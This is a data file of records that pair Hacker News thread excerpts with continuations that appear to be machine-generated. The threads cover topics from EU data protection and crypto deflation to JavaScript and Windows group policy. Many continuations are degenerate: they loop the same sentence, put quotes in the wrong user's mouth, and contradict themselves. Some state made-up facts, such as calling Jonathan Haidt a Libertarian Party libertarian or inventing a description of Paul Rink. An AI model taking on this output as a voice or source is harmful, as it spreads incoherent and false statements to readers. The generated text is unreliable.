higher profit margin with\nthe alternatives. This depends on your costs too of"} +{"output_text": "mind)\n\n~~~\njessaustin\nI'm not sure I'd call Haidt a \"conservative\" in the sense that he's\n\"conservative\" in the sense that he's a Republican. He's a libertarian, and\nhis politics are pretty much the same as those of the Libertarian Party.\n\n~~~\nrichard_mcp\nI'm not sure I'd call him a \"libertarian\" either. He's a libertarian in the", "input_text": " public donation that support a\ngroup and leads to potential blowback against the company. It's bad either\nway. Mozilla had a no win situation here. They got bad PR from both sides.\n\n~~~\nElComradio\nForget about whether it has blowback against the company- It's totally legal\nAFAIK to fire someone for their \"off the clock\" speech for any or no reason at\nall.\n\nIn reality, though, I think a jury would be very skeptical of a company's\nclaims that someone was fired for promoting the gay agenda (which would be\nlegal) and not for being a gay person.\n\n------\nrichard_mcp\nI was originally going to lump this article in with other \"men's rights\nmovement\" stuff until I saw the author was Jonathan Haidt. I had the honor to\ntake Psyc 101 with Prof. Haidt years ago at the University of Virginia. He was\na wonderful teacher who expected the best out of his students. He struck me as\na very intelligent man who had put a lot of thought into both what he taught\nas well as his opinions. When he bring up his own beliefs in class he was very\nopen to letting others voice dissenting opinions. More importantly, he always\nseemed willing to consider alternative views.\n\nI know this is all anecdotal, but I put a lot of trust in his opinions and pay\nattention when he says something.\n\nUnrelated, but he gave a great Ted talk in 2008 about the difference between\nliberals and conservatives:\n[https://www.ted.com/talks/jonathan_haidt_on_the_moral_mind](https://www.ted.com/talks/jonathan_haidt_on_the_moral_"} +{"output_text": "\n~~~\njkaptur\nI'm not sure what you're getting at.\n\nThe data protection agency is a European institution, and it's office is in\nBrussels.\n\nFacebook's European headquarters are in Ireland.\n\n~~~\njohannes1234321\nI'm not sure what you're getting at.\n\nThe data protection agency is a European institution, and it's office is in\nBrussels.\n\nFacebook's European headquarters are in Ireland.", "input_text": "/press-releases/dpc-\npublishes-annual-report-25-may-31-december-2018)\n\n~~~\ntpmx\nThis stuff should be handled at a union level. Seems like low-hanging fruit to\nme.\n\nAs in: I don't think many EU citizens would object to having this being taken\nfrom the national level to the union level.\n\nCreate a single, strong EU data protection authority, placed somewhere in the\nunion, after the typical competition. I'd suggest Sweden, but would also be\nhappy with Denmark, Germany or the Netherlands.\n\n~~~\njkaptur\nI don\u2019t know much about the EU - why is the physical location of the office\nimportant?\n\n~~~\njohannes1234321\nWhich office? Facebook's or the data protection agency's?\n\nEU (more or less) has rules that the countries are primarily responsible for\nexecution of the law and it makes sense that if a local shop causes privacy\nissues they should be handled by a local authority.\n\nNow companies like Facebook play the system a bit. As first line of defense\nthey claim that their European offices are just resellers of ads etc. and the\nactual operations are done by Corp U.S. (or Corp Bahamas or something) and for\na second line of defense pick the country with the \"best\" enforcement and\ntaxation track record. That can be done as in order for not each country\ntrying to go after their local subsidiary the country with the European\nheadquarters can go after that HQ for all larger cases.\n\nNow the Irish government is smart - they see that 1% taxes on all of European\nbusiness of Corp is better than 40% of only Irish business, thus they don't\nemploy overly strict oversight.\n"} +{"output_text": " the charges it is pretty clear that they were trying to make an\nexample of him.\n\n------\njrockway\nI'm not sure what the point of this is. The guy was a DBA, and he was\nresponsible for the database. He was not a sysadmin, and he was not a\ndeveloper. He was a DBA.\n\n~~~\njacquesm\nHe was a DBA who was responsible for the database.\n\nHe was not a", "input_text": " that they are not attempting to\nsweep this under the rug. There are a lot of companies where people have\naccess to a lot of sensitive data. All you can do is screen the employees,\nlimit their access where possible and audit their use of the security.\n\nBut then someone needs to audit the auditors. Just before I started here we\nused to have an employee who would look in the Oracle database used by Lawson\nto check payroll data. Nobody knew for a long time since he was the UNIX admin\nand DBA.\n\n~~~\njacquesm\nI don't know where 'here' is but you might want to edit that comment.\n\n------\njs2\nI'm not a big fan of Gawker, but why not link to the original story instead of\nthe meta-story?\n\n\n\n~~~\nepi0Bauqu\nBecause HN auto-banned it: \n\n~~~\nAnechoic\nThat link just goes to a empty HN page\n\n~~~\nepi0Bauqu\nTurn on showdead.\n\n------\nnkassis\nI think google manned up well on this one. They will always have this problem.\nAt least it seems they have less (that we know off) incidents than the\ngovernment does. It's pretty incredible how many stories of government\nemployees snooping (even selling it to organize crime) information stored in\ntheir databases.\n\n~~~\njacquesm\nThat was my first take as well, but after reading up a bit on it it seems that\nthey tried to make it go away by not charging him, when if you look at the\nseverity of"} +{"output_text": " that is tied to the stock of tokens).\n\n~~~\njstanley\n> This eventually causes production capacity to drop.\n\nI don't think that's what happens.\n\n> That's right, when enough people do it, token hoarding displaces investment\n> in businesses and factories and lowers global production capacity.\n\nI don't think that's what happens either.\n\n> Eventually there will be people who want to buy real things with their\n> stock of", "input_text": " limits of production. As people\nhoard worthless tokens, their price increases which causes more people to\nhoard them instead of investing in real businesses with real production\ncapacity.\n\nThis eventually causes production capacity to drop. That's right, when enough\npeople do it, token hoarding displaces investment in businesses and factories\nand lowers global production capacity. This means token hoarding causes a\nfuture drop in things available to buy with these tokens.\n\nEventually there will be people who want to buy real things with their stock\nof tokens. The tokens will be chasing fewer goods which means prices for stuff\nwill rise (tokens will lose value). This might happen suddenly when people\nwith large stockpiles of tokens notice that value is dropping and that there\nare tons of other tokens waiting on the sideline to make it drop even further.\nHoarders might rush to get rid of their stockpile all at the same time before\nthey're worthless which will cause their fall to worthlessness. This drop will\nbring the tokens closer to their natural intrinsic value of zero. The cycle\ncan then start again, such is aggregate economics.\n\nThe 1920s and 1930s suffered from this type of production drop but with gold\ntied currencies instead of cryptocoins. It happened to a lesser extent in 2007\nwhen western world central banks failed to keep inflation rates high enough.\n\nIt's important for the world's sake to not let deflationary currencies become\ntoo popular. When savings or financial promises are insufficiently tied to\nfuture production or to accumulation of real goods, there will be\ndisappointment when many people try to exchange them for real stuff. That is\ntrue for crypto currencies as well as government currencies (that is why the\nsystem is designed to make banks invest people's money in real businesses and\nminimize the proportion of money"} +{"output_text": " I was in college. I've been programming in C++ for the past few years, and I'm currently learning Ruby. I'm also learning MooTools, which is a JavaScript framework for creating web applications.\n\nI'm looking for some advice on how to learn Ruby and MooTools. I'm not looking for someone to teach me, but I'm looking for some advice on how to learn. I'm not looking for someone to tell me what I should be learning, but I", "input_text": " the\nfuture? I mean, it ain't no AWS backed by Amazon that has quite the track\nrecord.\n\n~~~\nhenrikschroder\nRemember that the alternative is no business at all.\n\nWe have a similar product where we provide a backend for game developers, and\nthere are quite a few of them making quite a lot of money on it. But without\nus, those single developers or small teams simply wouldn't be able to pull off\nthe games that they do, because they don't have the knowledge or resources to\nmake the backend systems we offer.\n\nIf you can afford to make your own backend systems, you're not the target for\nParse, or us.\n\n(Oh, and it's not like AWS has a 100% stellar track record either. :-) )\n\n------\ncatshirt\nisn't _heroku_ \"heroku for mobile\"?\n\n~~~\nthibaut_barrere\nAfter signing up for the beta it's clearly targeted to mobile apps developers\nwho don't want to create their back-end.\n\nIt provides a good bunch of interesting features and skeleton of apps for\nAndroid and iOS.\n\n------\nmark_l_watson\nGreat idea - no wonder they got good funding!\n\nThey support data store functions, push notifications with some nice options,\nuser management, and user auth and security.\n\n------\nsuhail\nGood luck guys.\n\n~~~\ntikhon\nthanks suhail! :)\n\n------\nbenologist\nCongrats guys!\n\n \n\nAsk HN: Learning Ruby + MooTools - sscheper\n\nCompared to most people here, I'm a n00b when it comes to programming. I've had a computer since I was five, but I never really got into computing languages until"} +{"output_text": "~~~\njacquesm\nIt's a bit like the modular phone, but it's not a phone. It's a drone.\n\n~~~\nmajewsky\nAh, I see. I thought it was a phone, because it's a modular phone.\n\n------\njlebrech\nI'm not sure I'd want to be the first person to buy a phone with a removable\nbattery.\n\n~~~\njlebrech\nI'm not sure", "input_text": " if the\nbattery alone dies out. One can't get more anti-modular than that, and the\nNexus 5X has the same deal:\n[https://www.youtube.com/watch?v=VYFbSpvSE-w&feature=youtu.be...](https://www.youtube.com/watch?v=VYFbSpvSE-w&feature=youtu.be&t=74)\n\n~~~\nvoltagex_\nI know what you're saying about the 5X, but it's not _impossible_ to replace.\n\n>The battery isn't immediately user accessible but isn't too challenging, or\ntoo adhered, to replace.\n\n[https://www.ifixit.com/Teardown/Nexus+5X+Teardown/51318#s112...](https://www.ifixit.com/Teardown/Nexus+5X+Teardown/51318#s112139)\n\n~~~\nbmer\nDoes it void your warranty though?\n\n------\neva1984\nI am not surprised either. It is more of a gimmicky idea, than a revolutionary\nmoonshot one. It is somehow hard to picture where is the market and how to\nconvince customers to buy it.\n\n------\njacquesm\nFinally. The first modular phone prototype I saw in Logitech HQ in 1999 or so\nwas shelved for the exact same reasons.\n\nI'm expecting a similar announcement about project Makani.\n\n~~~\nmajewsky\nI just heard about Makani for the first time, and after a quick glance at\ntheir website, it doesn't look absurd. Can you elaborate what is problematic\nabout it?\n\n"} +{"output_text": " I was sitting in my little house, working on\nmy novel, when I heard a knock at the door. I opened it to find Paul standing\nthere. He was a tall, thin, handsome man, with a shock of white hair and a\nbeard. He was wearing a black turtleneck sweater and a pair of black jeans.\nHe looked like a young James Dean. He had a big, friendly smile. He said,\n\"Hi, I'm Paul Rink.", "input_text": " a novel or kill myself trying. By that time I had blown\nup a marriage to a girl I loved with all my heart, screwed up two careers,\nblah blah, etc., all because (though I had no understanding of this at the\ntime) I could not handle Resistance. I had one novel nine-tenths of the way\nthrough and another at ninety-nine hundredths before I threw them in the\ntrash. I couldn't finish 'em. I didn't have the guts. In yielding thusly to\nResistance, I fell prey to every vice, evil, distraction, you-name-it\nmentioned heretofore, all leading nowhere, and finally washed up in this\nsleepy California town, with my Chevy van, my cat Mo, and my antique Smith-\nCorona.\n\nA guy named Paul Rink lived down the street. Look him up, he's in Henry\nMiller's Big Sur and the Oranges of Hieronymus Bosch. Paul was a writer. He\nlived in his camper, \"Moby Dick.\" I started each day over coffee with Paul. He\nturned me on to all kinds of authors I had never heard of, lectured me on\nself-discipline, dedication, the evils of the marketplace. But best of all, he\nshared with me his prayer, the Invocation of the Muse from Homer's Odyssey,\nthe T. E. Lawrence translation. Paul typed it out for me on his even-more-\nancient-than-mine manual Remington. I still have it. It's yellow and parched\nas dust; the merest puff would blow it to powder.\n\nIn my little house I had no TV. I never read a newspaper or went to a m o v i\ne. I just worked. One afternoon"} +{"output_text": ">The researchers found that the radiation from the reactor was absorbed by\nthe water, which then became radioactive.\n\nI wonder if the water was contaminated by the reactor itself.\n\n~~~\njcl\nI don't think so. The water was taken from the ocean, and the reactor was\nbuilt on land.\n\n~~~\nVladRussian\n>The water was taken from the ocean, and the reactor was built on land.\n\nI wonder if the water was contaminated", "input_text": " constantly going through your body. Not to mention\nintentional exposures like chest X-rays.\n\nIt's sort of like fire, then. You can burn yourself and you should treat it\ncarefully. You should fear it enough to avoid burning yourself, but not much\nmore than that. It's also going to become just about as necessary to\ncivilization as fire, soon, from the look of things.\n\nMaybe fusion will pan out and I hope so, but people are then going to have to\nlearn all about neutrons and why they can make normal materials become\nradioactive.... But maybe clever moderator designs will make it so that most\nneutrons are absorbed by easily replaceable things that don't become anything\nnasty.\n\n~~~\nTichy\nRadiation is normal, and so is water. I drink water every day with no ill side\neffects, yet it killed thousands of people in a Tsunami.\n\nHow long does supply of nuclear fuels last anyway? Isn't it a limited\nresource? Will it be as necessary to civilization as SUVs?\n\nFrom the article it seems clear that inhaling or digesting contaminated stuff\nis dangerous.\n\n~~~\nNatsu\nA lot longer than any of our other energy sources, except maybe the sun, so\nfusion is a good thing to be able to manage, because hydrogen is so abundant.\n\nHowever, entropy will ultimately kill the universe. Once the entire universe\nruns out of available energy (which it can manage without any human help),\nthen we're screwed barring radical new physics that can give us answers like\n\"this is how you create another universe and then travel there.\"\n\nThe good news is that it will take a looooooong time before anybody seriously\nhas to worry about that.\n\n------\nVladRussian\n"} +{"output_text": "-up-for-\nour-users-against...](https://blog.cloudflare.com/standing-up-for-our-users-\nagainst-patent-trolls/)\n\n------\njoshstrange\nI'm not sure I agree with the \"we're going to litigate every single patent\nsuit to the fullest extent possible including appealing any adverse decisions\nall the way to the Supreme Court\" part. I think that's a bit extreme.", "input_text": "icgiga\nThe root cause of this is the \"American rule\" of costs. It's no where near as\nviable to troll when you have to pay their costs when you lose (especially\ngiven that frequently the plaintiffs are lawyers themselves, so aren't\nactually spending any legal fees to troll).\n\nThe case portrayed in the TV show \"Silicon Valley\" was illustrative: \"best\njust to settle because it'll cost us less\", because the mere act of suing\nitself financially damages the victim, often severely, given lawyers' typical\nrates.\n\nBut not so under the \"English rule\": it costs you nothing if they lose.\n\n~~~\npbhjpbhj\nI can't understand for the life of me why USA don't make awards of costs to\nsuccessful defendants, is there a logic to it that I'm missing?\n\n~~~\npatentatt\nThe benefit is that it lowers barriers to entry to the legal system.\n\n~~~\nepicgiga\nThat's not a benefit. \"Entering the legal system\" is just as often someone\nsuing you (including BS reasons like in the OP) as it is suing someone else,\nand if you can't \"enter the legal system\" because you know you'll lose and\nhave to pay for it, that's a good thing.\n\n------\nkeanzu\n\"We are going to litigate every single patent suit to the fullest extent\npossible including appealing any adverse decisions all the way to the Supreme\nCourt.\"\n\n~~~\nlolc\nThey write this to scare off trolls looking for marks. They would not do this\nin clear-cut cases.\n\n------\nmwerty\nRelated (and covered on hn before): [https://blog.cloudflare.com/standing"} +{"output_text": " _> I think DRM is never OK. Not only because of privacy and ethical issues,\nbut because if you can't fully control the content and the service which\nissues DRM closes down you would simply lose everything you paid for._\n\nI don't think it's a problem if you can't fully control the content. It's a\nproblem if you can't fully control the service.\n\n------\njosteink\nI'm not sure if I'm missing something, but I", "input_text": " and _really_ mean it for\nall people of the world. We need to make it impossible for anyone to make the\nargument _\" but what if I don't have internet access?\"._\n\n~~~\nshmerl\n_> I think DRM is fine as long as I can access my media anytime & anywhere on\nall my devices._\n\nI think DRM is never OK. Not only because of privacy and ethical issues, but\nbecause if you can't fully control the content and the service which issues\nDRM closes down you would simply lose everything you paid for. It should be a\ndeal breaker. Then pirating that content will be the only option to get it\nback. This Xkcd applies to video pretty much the same way as to audio for\nwhich it was made: [http://xkcd.com/488](http://xkcd.com/488)\n\n~~~\nsmtddr\nUnless we're talking about Win8-BIOS-TPM stuff(which I don't clearly\nunderstand just yet), I don't think proper(non-remote-controllable) DRM is a\nprivacy concern. I'm not sure how it's an ethical concern either. But, I do\nthink that if the DRM servers and/or media streaming servers are going offline\nand making the content disappear forever they should allow it to just be\ndownloaded without DRM for free - since turning off the servers implies\nthey're done making money off it(?).\n\n~~~\nshmerl\nWhen Netflix (or any other DRMed code) runs on your machine, it runs as a\nblack box for you. Why isn't that a privacy concern and why should it ever be\ntrusted? It's unethical because it's an overreaching preemptive policing, but\nit's a long subject.\n\n"} +{"output_text": " producing watches for the Swiss market. You can't have another Swiss\nwatch factory without having another Swiss market.\n\n~~~\njosephschmoe\nI think you're right, but I think the Swiss model is more about the\ninfrastructure than the actual model.\n\nThe Swiss model is a combination of a small, highly educated, highly\nproductive workforce, a highly educated, highly productive workforce, and a\nhighly educated, highly productive workforce.\n\nThe Swiss", "input_text": " been half-completed and then\nabandoned. Trying to understand exactly how to use their APIs is extremely\nconfusing because they don't have anything definitive and basically a\nfrankenstein-like API so I've given up. I frankly wouldn't trust anything\ncoming from eBay at this point, they appear to have extremely poor developer\nsupport and no investment in making their APIs better to use.\n\n \nLiving in Switzerland ruined me for America and its lousy work culture (2016) - DiabloD3\nhttp://www.vox.com/2015/7/21/8974435/switzerland-work-life-balance\n======\nmanarth\nDeja-vu.\n[https://news.ycombinator.com/item?id=13303544](https://news.ycombinator.com/item?id=13303544)\n\n~~~\nmanarth\nAnd in 2015 (although that source article has since disappeared):\n[https://news.ycombinator.com/item?id=9987816](https://news.ycombinator.com/item?id=9987816)\n\n------\ncsomar\nIn my opinion this is missing an important thing: Does the Swiss model scale?\n\nFor example, the Singapore model can't scale. It's based on rich people and\ncorporations arbitraging the international fiscal system. You can't have\nanother Singapore without having another East Asia and West with it.\n\nSwiss is definitively a privileged place that is benefiting from the overall\nwealth of Europe and many other countries. We can't have the niceties they are\nhaving unless we have huge leaps in overall productivity around the world.\n\nEdit: To explain my point further. Let's say you have a Swiss watch factory\nthat is"} +{"output_text": "?\n\nI have a Macbook Pro and I love it. I have a Windows laptop and I love it.\n\nI have a Surface Pro and I love it.\n\nI have a Surface Book and I love it.\n\nI have a Surface Pro 4 and I love it.\n\nI have a Surface Book 2 and I love it.\n\nI have a Surface Pro 4 and I love it.\n\nI have a Surface Book 2 and I love it.", "input_text": " laptop, after all their whole thing is gouging people with\nunrealistic prices for the hardware and huge margins on everything.\n\nThat said, if a laptop rolls around that doubles the 10 hour battery life on\nexisting configurations - they'll scoop up a ton of users regardless whether\nit can run Windows or not.\n\nI don't know how doable that would be, but the iPad Pro has a 28 watt hour\nbattery, the MBP 13 has a 59 watt hour battery, a theoretical Macbook without\na discrete GPU and a smaller motherboard footprint of an A13 chip, leaving\nspace for a bigger battery and providing about the same performance could\npossibly hit 20 hours of battery in about the same space.\n\n~~~\nf6v\nHow are their prices on hardware unrealistic? Let's look at laptops: any other\nmanufacturer(razer, dell) charges comparable prices for unibody ultrabooks.\n\n~~~\nakmarinov\nTheir RAM upgrade and SSD pricing is off the charts though. 8 to 16 GB is $200\n- which other manufacturer does that?\n\n------\nMangoCoffee\nits sad to see a king (Intel) slowly dying. Microsoft got its groove back with\nSatya Nadella and turn Microsoft into player two in the cloud computing and\nunlock.Net.\n\nAMD ryzen to EPYC with Lisa Su and TSMC became king of pure-play foundry under\nMorris Chang.\n\ni think there is a pattern here. a good engineer CEO have a vision of what a\ncompany can be while a CFO turn CEO only see the bottom line.\n\ni don't know how long Intel can keep squeezing 14+++++++++++++++ nm.\n\n------\nwoodylondon\nIs the issue here not the software"} +{"output_text": "'this'.\n\n~~~\njashkenas\nThe way I remember it is that this is whatever is before the dot when you call\nthe function.\n\nE.g. for car.drive(); in the drive function, any reference to 'this' will get\n'car'. If the function is called on it's own, as in 'drive()', 'this' will\nrefer to the Global object (bad)\n\nIt's also possible to change '", "input_text": " to JS is that they expect |this|\nto be controlled by the callee, like it is in lots of other popular languages,\nand are surprised when calling convention can change its value.\n\n~~~\naboodman\nBTW, imo, the behavior of |this| is a really unfortunate design flaw of JS.\nThe amount of time that must have been spent learning and teaching this edge\ncase over and over to every person new to the language is... well, it's big.\n\n~~~\nvicaya\nThe behavior of 'this' is from DOM bindings and not from the language per se.\nJavascript can set 'this' of any calling context to any object with 'apply' or\n'call'. The convention for on* handlers is that 'this' is set to the DOM\nelement when the handlers are called. I only learned to appreciate this, when\nI wrote my own little JS DOM framework a la JQuery or Dojo.\n\n~~~\nlitewulf\nI believe actually that 'this' points to the global object.\n\nSo if there is no obvious thing for this to point at, it'll point at the\nglobal object. Its just implementation detail that in browsers it points to\nthe window object.\n\n------\nmhansen\nThe way I remember it: this is whatever is before the dot when you call the\nfunction.\n\nE.g. for car.drive(); in the drive function, any reference to 'this' will get\n'car'. If the function is called on it's own, as in 'drive()', 'this' will\nrefer to the Global object (bad)\n\nIt's also possible to change 'this' by using the Function.prototype.apply()\nmethod, which allows you to pass a 'context' parameter that will become\n"} +{"output_text": "~~~\njlgaddis\n> _I always treat User Settings overridable, because they happen either in\n> security context of user or within user registry which lives in %userprofile%\n> - the user has full access to ntuser.dat file._\n\nI'm not sure I understand your point.\n\n~~~\njve\nI'm not sure I understand your point either.\n\n------\njlgaddis\nI'm not sure I understand the point", "input_text": " will ever find\n\nThis isn't relevant because if you're logged in as the affected user, nothing\nyou see can be trusted because you're already pwned. For instance, the\nattacker could have replaced the regedit icon with a patched regedit, or\nattached a debugger to every process and patched any system calls. The only\nsafe course of action would be to create a new profile.\n\n> and even most Windows administrators will have no idea to look for.\n\nAFAIK user hives aren't loaded until they're logged in, in which case they're\nsubject to the caveats of the previous paragraph. Also, are administrators\nreally going around and loading each user's registry hive to check for\ninfections? The only real threat I can think of is antivirus vendors not\nknowing about this feature and not scanning the file as a registry hive.\n\n~~~\nthrowanem\nAs the article mentions, the threat model here is primarily an insider one,\nwith a \"rogue\" user leveraging this method to obtain capabilities the domain\nadministrator intends to deny. There are certainly more effective exploits for\nan outside attacker to use, but that's beside the point.\n\n~~~\ndfox\nUser Group Policy isn't exactly a security mechanism, it exists to prevent\nusers from unintentionally breaking their profile. There is multitude of ways\nhow the user in question can inject arbitrary code into processes that are\naffected by user group policy as these processes are owned by that user.\n\n------\njve\nIs this a real concern?\n\nI always treat User Settings overridable, because they happen either in\nsecurity context of user or within user registry which lives in %userprofile%\n- the user has full access to ntuser.dat file.\n\n"} +{"output_text": ".\n\n~~~\nnl\n_I wouldn't even know where to begin in criticizing their study._\n\nI'm not sure what you mean.\n\nThe study is a good example of how to do a study. It's not a good example of\nthe science.\n\n------\njoe_the_user\nI'm not sure I understand the point of this article.\n\nThe article says that the \"night vision\" is a result of the eye's ability", "input_text": " see up to around 750nm or so (NIR) with\nawful quantum efficiency. Pit vipers and some fish have limited perception of\nIR, but I'm not aware of any animals that can see IR in the conventional\nsense\u2026 being warm blooded presents a real problem, for one.\n\nPlainly, there are limits to what can be achieved in hyperspectral imaging due\nto materials, and that's without the constraints of biology thrown in the mix.\n\n~~~\nnl\n_Utter poppycock._\n\nThat seems... strong, especially if referring to the \"Night vision glasses no\nlonger needed for enhanced soldiers\" bit.\n\n _They eventually formulate a chlorin e6 solution for human use. A few drops\nare dripped into Licina\u2019s eyes, and they had him look for people hidden among\ntrees as well as symbols on objects in dim light. Licina seemed to perform a\nlot better than the four other people who did not get eyedrops._\n\n[http://gizmodo.com/the-real-science-behind-the-crazy-\nnight-v...](http://gizmodo.com/the-real-science-behind-the-crazy-night-vision-\neyedrops-1694955347)\n\n~~~\nOopsCriticality\nMy frustration was more directed towards the UV-Vis-NIR part (and I read night\nvision as thermal IR, but who knows), but I wouldn't say that your linked\narticle is something of substance. To quote the article, quoting the\nexperimenter/ee, \"In Licina\u2019s own words: 'Let\u2019s be fair here. It\u2019s kind of\ncrap science.'\"\n\nI wouldn't even know where to begin in criticizing their study"} +{"output_text": " \"right time\" statements?\n\n~~~\njedberg\nI think it's a way to get out of the responsibility of having to hire a new\nCEO.\n\n~~~\nblizkreeg\nI think it's a way to get out of the responsibility of having to hire a new\nCEO.\n\n------\njedberg\nI'm not sure why this is getting so much attention. It's not like he was\nfired. He was just", "input_text": " about not hiring assholes in the first place? If they have to be coached\nto not have issues with women, then they aren't worth your time.\n\n------\nmgkimsal\nMaybe he was busy having \"inappropriate relations\" with the people who should\nhave been \"reviewing\" my paperwork?\n\nTried to use them years ago and... turnaround time took _weeks_. Their web\ninterface just kept telling me they were \"reviewing\" then \"need more info\"\nwithout any concrete info as to what was needed. Emails took days to get a\nreply to.\n\nTried to use them again last year - same horrible turnaround/response time\n(days/weeks).\n\nI was able to use another institution and have my financial stuff handled and\ndone in less time than it took them to even clarify why the exact same info\nother financial agents were fine with wasn't good enough (and, they never\ndid).\n\nThey followed up about 4 months later to ask if I still needed service.\n\n------\nSoFiThrowaway\nThe internal messaging is the same as external: \"buisness is strong, we\ncontinue to execute as we did, looking for a new ceo\".\n\nHowever, if you read between the lines, it sounds like the board might have\nbeen looking for an excuse to oust Mike, who preferred high risk ventures and\nexpansions, and replace him with someone experienced in bringing companies to\nan IPO. It seems like this is an attempt to kill two birds with one stone, in\nterms of bad press.\n\n------\nblizkreeg\n\u201cI believe now is the right time for SoFi to start the search for a new\nleader,\u201d Mr. Cagney said in a statement.\n\nWhat's with these"} +{"output_text": "\nkpao\nI'm not sure what you're trying to say here.\n\n~~~\nJorgeGT\nI'm saying that excessive AOA causes compressor stall, which is a stall of the\ncompressor.\n\n------\njedberg\nI'm not sure why they didn't just use a helicopter.\n\n~~~\njedberg\nI'm not sure why I'm getting downvoted. I'm not saying it's a good idea, just\nthat", "input_text": "=Ra_khhzuFlE](https://www.youtube.com/watch?v=Ra_khhzuFlE)\n\n~~~\nhermitdev\nBoeing also did a near-vertical take off in the 787 during their initial tests\n(and a few times after at air shows) This video [1] from a past Paris air\nshow, shows a 787 ready for a delivery to Vietnam Airlines doing a very\naggressive & short (but not vertical take off). Pretty ballsy to do such a\nthing in such an expensive jet that's on its way to delivery to a client.\n\n[1]\n[https://www.youtube.com/watch?v=B5_8D8HCnS4](https://www.youtube.com/watch?v=B5_8D8HCnS4)\n\n~~~\novercast\nAccording to comments, it was nowhere near vertical, which is why they didn't\nshow it from a side angle. Apparently indicator light goes off at 30 degrees,\nindicating imminent engine stall.\n\n~~~\nkpao\nWhat do you mean engine stall?\n\nAs long are you have enough thrust, airspeed and no system preventing you to\ngo above a certain pitch or AOA, then the plane should fly just fine...\n\n~~~\nJorgeGT\nExcessive AOA causes streamline detachments in the diffuser that cause\ncompressor stall: [http://www.free-online-private-pilot-ground-\nschool.com/image...](http://www.free-online-private-pilot-ground-\nschool.com/images/xcompressor-airflow.gif.pagespeed.ic.Sk_s8wyIqh.png)\n\n~~~"} +{"output_text": " read your blog and I am very inspired by your work. I am\ncurrently working on a project that I want to share with the world. I am\ntrying to get it out there as soon as possible. I am also trying to get\nmyself out of the depression. I am not sure if I will succeed, but I am\ntrying.\n\nI am also a big fan of your blog. I have read it for a while now and I\nappreciate", "input_text": "\nI'm looking for \"the\" magic answer, not because it would be easy, but because\nI don't want to sink more effort into just another method that may or may not\nwork in the end. In a way, I'm getting demoralized on the subject of self-\nimprovement.\n\nFor what it's worth, several years ago during an \"enhanced\" experience, I had\nthe following realization, which might have some truth to it. Paying so much\nattention to self-improvement, month after month, year after year, trains your\nbrain to think you're a loser. The constant thoughts of \"I'm too lazy, how do\nI get better\" eventually get internalized. This is probably unhealthy and\nmight even be counter-productive.\n\nBest wishes, fellow traveller.\n\n------\nrails\nHi,\n\nI want you to tell you a litte story about my self and my struggles. We should\nbe about the same age. A year ago, I was going strong, working my job, having\nside projects and getting things done. I was doing a lot of sports and was on\nthe level of a marathon runner. Then I had an injury. Due to the lack of\nsport, I fell into depression. I was unable to concentrate on a single thing\nfor even five minutes and had no motivation whatsoever. I have had then set\ngoals for myself and after I failed to accomplish them, I beat myself up.\nRinse and repeat. Now, about 9 Months later, I am still in the recovering\nprocess. Like you I tried pretty much every productivity hack out there. From\npomodoro to bullet journaling, habit forming and so on. What I want to say:\nThere is no quick fix. It takes time.\n\nSo I regularly"} +{"output_text": "windows.microsoft.com/en-us/windows/lifecycle)\n\n[2] [http://windows.microsoft.com/en-\nus/windows/lifecycle](http://windows.microsoft.com/en-us/windows/lifecycle)\n\n~~~\nSiecje\nI was referring to the end of mainstream support for Windows 7.\n\n------\njenscow\nI'm not sure if this is a good thing or not.", "input_text": "\nHowever, in the case of Windows, this issue isn't that much severe as it would\nbe on a unix-like, for example.\n\nWith the set up of Windows servers I've seen, only the admin logs in anyway.\nIt's not really used as a \"multi-user\" system per-se, where you get different\nusers logging in at the same time. It does happen, but it's not common.\n\n~~~\nscarmig\nHahah, I figured Windows might be slightly better about this, hence the self-\nadmitted uninformed take.\n\nCould you clarify, though: do you mean to say Windows isn't as vulnerable\nbecause of cultural reasons (i.e. Windows systems aren't multi-user usually)\nor because of technical ones (they support something like SELinux out of the\nbox)?\n\n~~~\njenscow\nThe _impact_ isn't as severe, for cultural reasons.\n\n------\ndang\nUrl changed from [http://www.pcworld.com/article/2864312/google-discloses-\nunpa...](http://www.pcworld.com/article/2864312/google-discloses-unpatched-\nwindows-vulnerability.html), which points to this.\n\n------\nSiecje\nThis is going to be more common when Windows 7 is no longer supported\n2015-01-13.\n\n~~~\n_delirium\nWindows 7 has security support through January 2020 [1]. What's ending this\nmonth is \"mainstream support\", which seems to mean new features, phone\nsupport, etc. [2]\n\n[1] [http://windows.microsoft.com/en-\nus/windows/lifecycle](http://"} +{"output_text": "\n> his commanders knew what that was, and let them figure out how best to\n> achieve that based on the situation.\n\nI think it's more likely that he was just too busy to give orders. He was\ntrying to get the last of the Pompeians out of Africa, and he was also\nnegotiating with the Senate to get the money he needed to pay his troops.\n\n------\njedberg\nI'm not sure if this is a good thing", "input_text": " during\nwintertime, while admirable (the safety of his soldiers was of supreme\nimportance to him), worked out where they seemed like they shouldn't most of\nthe time.\n\n3\\. Stupidity of his enemies. How many times did Caesar attack the Pompeans\nduring the Civil War during winter? They never learned. It's remarkable\nreally. One can also look at Caesar's merciful treatment of enemies during the\ncivil war as evidence of his genius -- he won so many by being gentle, even\nthough he had to fight Ahenobarbus like 4 times because he kept letting him\ngo.\n\nWith that, Caesar turned into an absolute master by making reasonable\ncalculated risks and surviving them. By the point he was clearing the last of\nthe Pompeans in Africa at the end of the Civil War, he didn't even leave his\ntent to give commands -- so confident and expertised in warfare that he didn't\neven have to see the field of battle.\n\nThis is a bit of a ramble. I really admire Julius Caesar and think there's so\nmuch to learn by studying his life and habits.\n\n~~~\nunFou\n\"By the point he was clearing the last of the Pompeans in Africa at the end of\nthe Civil War, he didn't even leave his tent to give commands\"\n\nWas this an indication of the experience and initiative of his commanders and\nnon-coms? So Caesar might decide on the overall approach, make sure all his\ncommanders knew what that was, and let them figure out how best to achieve\nthat based on the situation.\n\n~~~\nSirensOfTitan\n> Was this an indication of the experience and initiative of his commanders\n> and non-coms? So Caesar might decide on the overall approach, make sure all"} +{"output_text": ".\n\n~~~\nTrainedMonkey\nThanks for the reply.\n\n1\\. I am not sure how much of a world record it is. I am not sure how much\nparallelism is possible with 33 operations per second.\n\n2\\. I am not sure how much of a world record it is. I am not sure how much\nparallelism is possible with 33 operations per second.\n\n3\\. I am not sure how much of a world record it is.", "input_text": "\nothers Boeing and McDonnel Douglas.\n\n \nIntroduction to the Mill CPU Programming Model - luu\nhttp://ootbcomp.com/topic/introduction-to-the-mill-cpu-programming-model-2/\n======\nTrainedMonkey\nInteresting, the architecture looks greatly simplified compared to even\nstandard RISC (As opposed to lets say x86). Due to that simplification it will\nbe power efficient while being inherently highly parallel.\n\nWould 